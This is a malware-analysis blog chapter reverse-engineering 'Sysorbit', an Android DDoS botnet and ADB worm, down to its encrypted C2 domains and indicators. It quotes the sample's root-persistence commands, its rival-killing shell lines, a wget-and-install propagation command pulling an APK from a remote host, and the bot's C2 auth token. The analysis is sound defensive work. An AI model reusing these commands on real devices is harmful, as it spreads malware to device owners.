Sysorbit · Chapter 8
Sysorbit laid bare: three layers to hide one address
We peel the APK apart layer by layer: a DEX that's nothing but a launcher, an app that nails itself into /system if there's root, and a native DDoS engine. The C2 slammed the door in my face — until I came back another way and it opened.
In Chapter 7 I caught Sysorbit coming in over ADB. Now it's time to crack open the APK and find its C2. What we're after is what it can do and where it calls home, so it can be spotted and cut off.
An APK is a ZIP with three layers: resources, Java code (classes.dex) and native libraries (.so). Let's work from the outside in.
01An APK with almost no Java
First surprise when I listed the ZIP: the classes.dex (the Java code) weighs in at 13 KB — laughable. And instead there are four native libraries libmedia_format.so, one per architecture, around 150 KB each. The real logic isn't in Java: it's in the native code. The Java is just a shell.
The library's name is a lie to begin with: libmedia_format sounds like a video codec. There isn't a single byte of multimedia inside it.
02The Java: a launcher with bad ideas
I decompiled the DEX with jadx. The app disguises itself and acts as the launcher and babysitter for the native binary. Every minute, a thread runs this logic:
- Checks whether the bot is already alive: it sends PING to an abstract local socket sysorbit_watchdog and waits for PONG.
- Kills off old or rival instances by their disguised names: [system_server], sys_health_check, sys_core, sys_update_helper.
- Checks for root (su -c id → uid=0).
And here's the ugly part: if the phone is rooted, it nails itself into the system disguised as a maintenance binary.
mount -o remount,rw /system
cp libmedia_format.so /system/bin/sys_health_check # poses as a system binary
chmod 755 /system/bin/sys_health_check
chown root:root /system/bin/sys_health_check
cp libmedia_format.so /data/local/tmp/sys_update_helper
/system/bin/sys_health_check & # and launches itWithout root, it settles for running the .so from the app's own directory. With root, it becomes part of the operating system. All while the interface shows a fake "Google Play Service Updates — Checking for updates…" notification.
03The native engine: a DDoS gunboat
The .so came packed with UPX (like RedTail). Unpacked (155 KB → 515 KB) and opened in Ghidra, it sings:
# flood engine
Flood ID '%d' starting in thread (duration %d seconds)
GET %s HTTP/1.1 PRI * HTTP/2.0 Host: %s
# watchdog + registration
sysorbit_watchdog sysorbit_native_lockIt's a denial-of-service bot: it launches floods by ID, in threads, with a duration — including HTTP/1.1 and HTTP/2 (that PRI * HTTP/2.0) and a TCP connection flood that opens 128 sockets at once against the target.
I also found a string here that caught my eye and that I read wrong — I'll come back to it:
token=df96af03-c2fc-4c29-919a-2605aa70b1f8&guid=76561198804806015That guid has the shape of a SteamID64, the identifier of a Steam account. A very odd trace to find in an Android bot.
04Hunting the C2 — and the wall
With Ghidra I followed the thread of the C2 client. Here's what I found:
- The client connects to an IP and a port it pulls from a configuration structure, and speaks HTTP.
- It has its own resolver with embedded fallback DNS servers (8.8.8.8, 1.1.1.1) so it can resolve even if the device's DNS fails.
- But the C2 host is nowhere in plain text — not in the APK, not in the DEX, not in the native code. By the time the client uses it, it's already a binary IP decrypted in memory.
That's where I closed the chapter the first time. I wrote that getting that address would take one of two things: reversing its decryption routine, or running the thing on an isolated Android and watching where it calls. I don't do the second — it's a live bot, and switching it on is doing the attacker's work for him — so I filed the matter as closed and went to bed.
And I filed it wrong. Because the first option, reversing the routine, was never beyond my reach: I simply hadn't managed to find it. A locked door and a door you don't have the key to are two different things. I confused them.
The next day it was still nagging at me. So I went back.
05Retracing my steps
I went back with a change of method, and I think it's the most useful thing in the whole chapter: go in through the data, not through the code.
The first time I did the natural thing: I picked a function that looked like the C2's and followed its calls outwards, to see what turned up. The problem is that this library has libc++ statically linked, so "outwards" means hundreds of housekeeping functions belonging to the language itself. My dumps always ended in malloc and thread::join. I was hunting a needle by exploring the entire haystack.
The other way round works better: if the host gets decrypted in memory, the encrypted bytes have to be in the file, and somebody has to read them. So instead of asking "what does this function call?", you ask "who touches these bytes?". Instead of exploring, you anchor. It's exactly what I did in Chapter 2 without realising it was a method: there the key turned up because I spotted a repeated string and asked who referenced it.
First dead end: chasing ghosts
I started with what seemed obvious. Encrypted data has a signature: its bytes look random, without the structure normal text has. It's called high entropy, and you can sweep a whole file looking for it. I did, and seven suspicious regions came back. Seven candidates to be hiding the address.
I opened them one by one, and one by one they fell. The two biggest turned out to be embarrassingly innocent: the first was a list of prime numbers —127, 131, 137, 139…— that the C++ language itself uses internally to organise its tables. The second was the SHA-256 constants, a magic number that shows up in any program doing cryptography.
Neither belonged to the malware. They were the furniture of the house, not what the burglar had hidden. Half a morning chasing ghosts.
Second dead end: the comfortable trap
I changed tack. If the bot calls home, somewhere it has to open a connection — so I went looking for the functions that open connections and walked backwards from there. And I found one that resolved a domain name and connected. It fitted so well that I didn't question it: "here it is, this is the C2 client".
It wasn't. When I finally read it through, properly, it turned out to be the attack engine: the HTTP flood. That domain name it was so diligently resolving wasn't its home. It was the victim it was about to attack.
I'd spent half a day studying the weapon instead of the telephone.
And once I saw it whole, I realised that the first version of this chapter had got two things wrong:
- I pointed at a function and called it the C2 thread spawner. It isn't: it's the HTTP flood engine, with six Mozilla User-Agents it rotates through — nine in total across the binary, spread over three functions, one of them an iPhone — Cookie and Referer support, and a 200 KB stack buffer for hammering out requests.
- I presented the token=…&guid=… as the bot's registration with its C2. Also wrong: it's the body of a POST used by one of the attack methods. The SteamID doesn't identify the bot — it travels inside a flood request.
And if you're wondering what a Steam identifier is doing inside an Android bot, the answer is that it's attacking a game server, and to make its request pass for real it copies the body of a legitimate one —SteamID included—. It's camouflage: a thousand requests identical to what an actual player would send.
That number, moreover, resolves to a public account that exists: alias SponneR, comments in Turkish and Russian, a group devoted to cheating in CS:GO. And here I stop, because it needs saying plainly: this is a lead, not an accusation. Copying someone else's SteamID costs nothing, and the likeliest explanation is that it belongs to somebody who got attacked and whose request ended up baked into the template. But it does fit the other thing we saw —the certificate posing as a Spanish company that spells "Cataluna" without the ñ—: whoever built this doesn't speak Spanish.
Starting where everything starts
Two paths, two failures. When that happens, the lesson is usually that you were being too clever. So I did the dumbest thing you can do with a program: start at the beginning and read it in order, like a book.
Because this .so isn't just a library others call: it also starts up on its own —Chapter 7 watched it install itself as /system/bin/sys_health_check— and that means it has an entry point, a first line. I'd never looked at it.
And the first four things it does already pay for the trip:
// 1) it renames its own process
prctl(PR_SET_NAME, "[system_server]");
// 2) overwrites its own argv[0] with the same fake name
memset(argv[0], 0, len); strncpy(argv[0], "[system_server]", ...);
// 3) armours itself against the out-of-memory killer
write(open("/proc/self/oom_score_adj"), "-1000");
// 4) ignores ten signals: SIGTERM, SIGINT, SIGHUP, SIGPIPE, SIGALRM...The [system_server] business is nastier than it looks. On Linux, when you list processes, the ones shown in square brackets are internal kernel threads — things you don't touch. The critter puts brackets in its own name so that anyone scanning the list slides right past it. Typographic camouflage.
And the -1000 is even more brazen. When Android runs out of memory, it starts killing applications in order of expendability. That number is the score deciding who gets sacrificed first, and -1000 is the lowest possible: it means "kill whoever you like, but me last". The bot declares itself more important than anything you have open on your phone.
Then it takes a name it builds letter by letter —sysorbit_native_lock— and reserves it. If it was already taken, it leaves without a word: that's how it checks there isn't another copy of itself already running. And then it launches two threads and settles down to wait.
The first turned out to be the watchman: it sits and listens, and when four bytes arrive saying PING, it answers PONG. That's what tells the Java side it's still alive. Nothing new.
The second thread I wasn't expecting at all.
06Layer 1: strings assembled letter by letter
The second thread doesn't attack anyone. What it does is run shell commands — real ones, system commands — one after another, in a loop, forever. But the commands weren't written anywhere I could read. Before running each one, it manufactured it.
And there, at last, was the thread to pull. Because if the thing builds its commands instead of carrying them written down, that factory has to be in the binary. And if it has a factory for hidden strings for this, it's the same one it'll use to hide its home address.
The factory turned out to be a short, ugly function. It doesn't encrypt the whole string in one go, as anyone would: it encrypts it letter by letter, and each letter with its own key and its own recipe.
uint decrypt(uint c, uint key, char variant)
{
// rotate the byte 2 bits left...
rot = c >> 6 & 3 | c << 2;
r = rot ^ key ^ 5; // variant 0
if (variant == 1) r = (rot - key) - 5; // variant 1
// ...or 2 bits right
r2 = (c >> 2 & 0x3f | c << 6) ^ key ^ 5; // variant 2
return (variant == 2) ? r2 : r;
}
Three different recipes, and each character uses one. But the good part is where the key and the recipe come from: two pseudo-random number generators running in parallel, seeded with constants unique to each string.
x = (x * 0x10A860C1) % 0xFFFFFFFB # one generator for each job:
key = (prng_key ^ seed) & 0xFF
variant = (prng_recipe) % 3I reimplemented the algorithm in a handful of lines and pointed it at the first encrypted string I had to hand. Five bytes, which until that moment were 4a b3 e0 1a 68 and meant nothing.
4a b3 e0 1a 68 -> c l o s eclose. An utterly ordinary five-letter word nobody cares about. But it was a real word, in English, with meaning — and that doesn't happen by chance. Five correct letters were enough to know I had the whole algorithm.
I turned it loose on the whole binary and 44 strings fell out that had been sitting there all along, invisible. Among them, one that made me sit up straight:
# the one that matters
ORBIT_BOT_AUTHVXJUACFHAVBA # authentication token for the C2
# names of system functions (see box)
socket connect send recv bind listen accept select close signal
# the war on the competition, on a loop
pm uninstall %s >/dev/null 2>&1
com.manji.bot com.iranbot.load com.oreo.mcflurry
com.android.log_handler_v2 com.google.android.pms.update
find /data/local/tmp -name '*.so' -delete
grep -l 'libyahu.so' /proc/*/maps | cut -d'/' -f3 | xargs kill -9
# ADB propagation, inside the binary itself
busybox wget hxxp://…/sysorbit.apk -O /data/local/tmp/x.apk
pm install -r -g /data/local/tmp/x.apk
su -c ' adb_v207Layers 2 and 3: a key that doesn't exist
With ORBIT_BOT_AUTH in hand I had something to pull on: I looked for who used it, and that function was the C2 client. Inside it was the port, hidden in plain sight:
DAT_00185350 = 0x35280002;
# in memory those are the bytes: 02 00 28 35
# 02 00 -> AF_INET (this is a network address)
# 28 35 -> port 0x2835 = 10293What was missing was the destination. And the destination came from a list somebody built when the program started. I went to see who, expecting to finally find the domains written down in some corner.
They weren't there. What was there was the last layer, and the best of the three.
The domains are encrypted with ChaCha20 — this is serious, modern cryptography, the kind your browser uses; nothing like the homemade XORs of XorDDoS or Mirai in earlier chapters. But the genuinely elegant part isn't the algorithm. It's where it keeps the key to open it.
It doesn't keep it anywhere.
# two blocks of bytes that separately look like junk
key[ 0: 8] = data[0x111c84] XOR data[0x10e710]
key[ 8:16] = data[0x111c8c] XOR data[0x10e718]
key[16:24] = data[0x111c94] XOR data[0x10e640]
key[24:32] = data[0x111c9c] XOR data[0x10e648]The lesson, and I'm noting it down: "I can't find anything that looks encrypted" is not the same as "there's nothing encrypted". It only means you're looking for the wrong shape.
And it isn't the only thing assembled on the fly. The nonce — the number ChaCha20 needs so that the same key never produces the same stream twice — isn't in the file either: the code writes it into memory at start-up. Which is why that didn't show up in a search either. It's the same trick as the split key, played a second time.
# the nonce, written into memory at start-up (12 bytes)
1e 00 4a 00 00 00 00 00 00 00 00 00
counter = 1
# and where the four encrypted blocks are
0x10f0fa 28 B
0x10fc6a 28 B
0x10f95d 21 B
0x10eaf7 16 BWith that and the key above, anyone can reproduce the whole decryption. I'm publishing it deliberately: pulling the command servers out of a sample is defense, it hands nobody a capability against third parties — and in Chapter 6 I complained precisely that nothing like it existed for RedTail.
One more thing about the crypto stack before closing the section: alongside ChaCha20 and SHA-256, the binary implements HMAC — the 0x36 and 0x5c constants and the 64-byte block are all there, straight out of the textbook. It doesn't just encrypt: it authenticates. Probably to validate whatever comes down from the C2.
And now the fun part, because with the four addresses in front of you something shows up that didn't before.
All four calls use the same key, the same nonce and the same counter. A single block of key stream encrypts all four domains. That has had a name for decades and it's one of the unforgivable ones: key stream reuse.
The nice thing is you can demonstrate it without breaking anything. Take the two 28-byte blocks exactly as they come out of the binary, XOR them against each other, and the key cancels itself out:
1a 02 06 08 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
└─ the last twenty bytes are identicalWithout knowing the key, without decrypting a single letter, that tail of zeros already tells you that the two domains end the same way over their last twenty characters — which is exactly .twilightparadox.com. (The twenty-first zero is a coincidence: both names end their first label on the same letter.)
08The C2 laid bare
I joined the two halves, assembled the key, and applied the decryption to the four blocks of data the program was going to use as destinations. This is the moment you find out whether you've got it right or wasted the day: if the algorithm isn't exact, what comes out is unreadable rubbish. If it is, out comes text.
Out came text. All four, clean, first try:
orbitcnc.twilightparadox.com # orbit + cnc (command and control)
updatemc.twilightparadox.com
udpatetbl.duckdns.org # yes, "udpate": the author's typo
coxm.duckdns.org
port 10293/TCPAll four sit on free dynamic DNS services (FreeDNS and Duck DNS): subdomains you register in two minutes, without paying and without giving your details. It's the throwaway housing of mid-range malware.
And then I resolved them — DNS lookup only, without touching the machine:
| Domain | Status |
|---|---|
| orbitcnc.twilightparadox.com | LIVE → 176.65.139.248 |
| updatemc.twilightparadox.com | LIVE → 176.65.139.248 |
| udpatetbl.duckdns.org | doesn't resolve (dormant reserve) |
| coxm.duckdns.org | doesn't resolve (dormant reserve) |
And when I saw that IP I sat looking at it for a while, because it rang a bell.
The server that hands out the malware and the command center that gives it orders are the same machine. Three layers of encryption, a military-grade algorithm, a key split into two halves hidden in different corners of the file… to conceal an address that was already written in my notes.
I don't know whether the author didn't notice, or didn't care. But there's something honest about discovering that the great secret that cost you two days was a fact sitting in front of you that you failed to connect.
The two dormant domains are the reserve. It's the same pattern we saw in Chapter 2 with XorDDoS: if somebody takes down the one in use, another lights up and the bots never notice. They cost nothing and take two minutes to register, so there's no reason not to keep spares.
09What turned up as a bonus
Once the strings were decrypted, a few things I wasn't looking for fell out on their own.
Not just a bot: a worm
The infection command from Chapter 7 —the one that comes in over ADB, uninstalls rivals and installs itself— lives inside the native binary. Which means: every infected phone reproduces that same command against others, on its own, without anyone telling it to. The C2 doesn't need to order it; the bot spreads by itself. And the vector is tagged adb_v2.
Curious detail: the rival list the binary uninstalls isn't identical to the one in the command that arrived over ADB. The internal one includes two packages the entry command never mentions. Somebody updated it in one place and forgot the other.
The C2 can only order attacks
I went through the 35 methods the bot registers and the C2 can invoke, looking for any that did something other than networking: run commands, write to disk, spread. Not one. They're all attacks.
That pins down what Sysorbit is: it isn't a backdoor. The operator can't ask the phone to open a shell or steal data — only to attack somebody. But the device will keep infecting others even if the C2 disappears, because that part doesn't depend on it.
Only the number changes. The 35 identifiers are spread across 26 functions — one of them serves eight — and id 0 shares its function with id 1, which the sweep did cover. The count fell short; the coverage didn't.
A Spanish company that doesn't exist
Every APK is signed with a certificate. Sysorbit's says this:
CN = Carlos Mendoza
O = Digitales S.L.
OU = Desarrollo Mobile · L = Barcelona · ST = Cataluna · C = ES
Issued : 29 July 2026 Valid until : 2053
SHA-256 : 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:
6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9A software company from Barcelona, department and all. Invented. And the façade slips on two small details: it writes Cataluna without the ñ (it's Cataluña), and it calls the department "Desarrollo Mobile", mixing Spanish and English. A Spanish speaker doesn't write that; somebody copying the look of a Spanish company without being one does. It fits the rest of the traces on this thing, which point somewhere else entirely.
The date is a clean and useful fact, though: the certificate was issued on 29 July, and the critter landed in the honeypot on 23 August. Twenty-five days. A freshly baked campaign.
One single kitchen
The APK carries four libraries, one per architecture. I unpacked all four and compared: the encrypted domains and the key material are byte-for-byte identical in every one. They come from a single build, just like Mirai's twelve binaries in Chapter 4.
10Indicators (IOCs)
| Type | Value |
|---|---|
| C2 (live) | orbitcnc.twilightparadox.com · updatemc.twilightparadox.com → 176.65.139.248 |
| C2 (reserve) | udpatetbl.duckdns.org · coxm.duckdns.org |
| C2 port | 10293/TCP |
| Authentication token | ORBIT_BOT_AUTHVXJUACFHAVBA |
| String encryption | per character · rot2 + XOR/subtract · keys from a Lehmer PRNG (0x10A860C1 mod 0xFFFFFFFB) |
| C2 encryption | ChaCha20 · counter 1 · key = XOR of two .rodata blocks · nonce 1e004a00 + zeros (written into memory at start-up) |
| Encrypted blocks | 0x10f0fa (28 B) · 0x10fc6a (28 B) · 0x10f95d (21 B) · 0x10eaf7 (16 B) — with the key and the nonce, the decryption is reproducible |
| Certificate fingerprint | SHA-256 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 |
| logcat tag | SystemCore — the bot logs its own activity there |
| Process name | [system_server] · oom_score_adj = -1000 |
| Abstract sockets | sysorbit_watchdog · sysorbit_native_lock |
| Propagation vector | adb_v2 (ADB/5555, self-propagating) |
| SHA-256 APK | 31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 |
And a note on the name, which is what costs most when somebody goes looking for information: the industry doesn't give this family. VirusTotal flags it 21 out of 61, but under the generic label trojan.boogr; not one engine says "sysorbit", and MalwareBazaar doesn't have it. The name comes out of the binary itself — sysorbit_watchdog, ORBIT_BOT_AUTH, com.sysorbit.*. It's the opposite of Chapter 1, where twenty-two engines would have settled it up front: here nobody puts the label on — the critter does.
To be continued — the honeypot is still on, now on 5555 too. When something new drops in, there'll be a ninth chapter. 🍯
Comments